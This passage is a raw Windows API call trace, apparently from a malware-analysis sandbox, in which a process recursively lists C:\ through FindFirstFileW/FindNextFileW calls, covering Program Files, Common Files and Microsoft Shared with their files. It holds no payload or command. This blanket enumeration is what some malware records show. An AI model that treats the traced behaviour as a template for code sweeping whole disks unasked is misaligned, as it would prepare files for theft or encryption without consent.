ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0214.612] GetProcessHeap () returned 0x560000 [0214.612] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0214.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜠW▰d\x80")) returned 0xffffffff [0214.612] GetProcessHeap () returned 0x560000 [0214.612] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b10050 | out: hHeap=0x560000) returned 1 [0214.612] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0214.613] GetProcessHeap () returned 0x560000 [0214.613] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0214.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.613] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.613] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0214.613] GetProcessHeap () returned 0x560000 [0214.613] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b74a40 [0214.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593e10 [0214.614] FindNextFileW (in: hFindFile=0x593e10, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.614] FindNextFileW (in: hFindFile=0x593e10, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0214.614] GetProcessHeap () returned 0x560000 [0214.614] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888f0 [0214.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593e50 [0214.616] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.616] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0214.616] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0214.616] FindClose (in: hFindFile=0x593e50 | out: hFindFile=0x593e50) returned 1 [0214.616] GetProcessHeap () returned 0x560000 [0214.616] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888f0 | out: hHeap=0x560000) returned 1 [0214.616] FindNextFileW (in: hFindFile=0x593e10, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0214.617] GetProcessHeap () returned 0x560000 [0214.617] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888f0 [0214.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593f80 [0214.951] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.951] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0214.951] GetProcessHeap () returned 0x560000 [0214.951] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593e50 [0214.953] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.953] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0214.953] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0214.954] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0214.954] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0214.954] FindClose (in: hFindFile=0x593e50 | out: hFindFile=0x593e50) returned 1 [0214.954] GetProcessHeap () returned 0x560000 [0214.954] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.954] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0214.955] GetProcessHeap () returned 0x560000 [0214.955] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593e50 [0214.957] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.957] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0214.958] GetProcessHeap () returned 0x560000 [0214.958] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2baaa70 [0214.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b743c8 [0214.961] FindNextFileW (in: hFindFile=0x2b743c8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.961] FindNextFileW (in: hFindFile=0x2b743c8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0214.962] FindNextFileW (in: hFindFile=0x2b743c8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0214.962] FindClose (in: hFindFile=0x2b743c8 | out: hFindFile=0x2b743c8) returned 1 [0214.962] GetProcessHeap () returned 0x560000 [0214.962] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2baaa70 | out: hHeap=0x560000) returned 1 [0214.962] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0214.962] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0214.962] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0214.963] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0214.963] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0214.963] FindNextFileW (in: hFindFile=0x593e50, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0214.963] FindClose (in: hFindFile=0x593e50 | out: hFindFile=0x593e50) returned 1 [0214.963] GetProcessHeap () returned 0x560000 [0214.963] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.964] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0214.964] GetProcessHeap () returned 0x560000 [0214.964] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0214.967] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.967] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0214.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0214.968] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0214.968] GetProcessHeap () returned 0x560000 [0214.968] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.968] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, 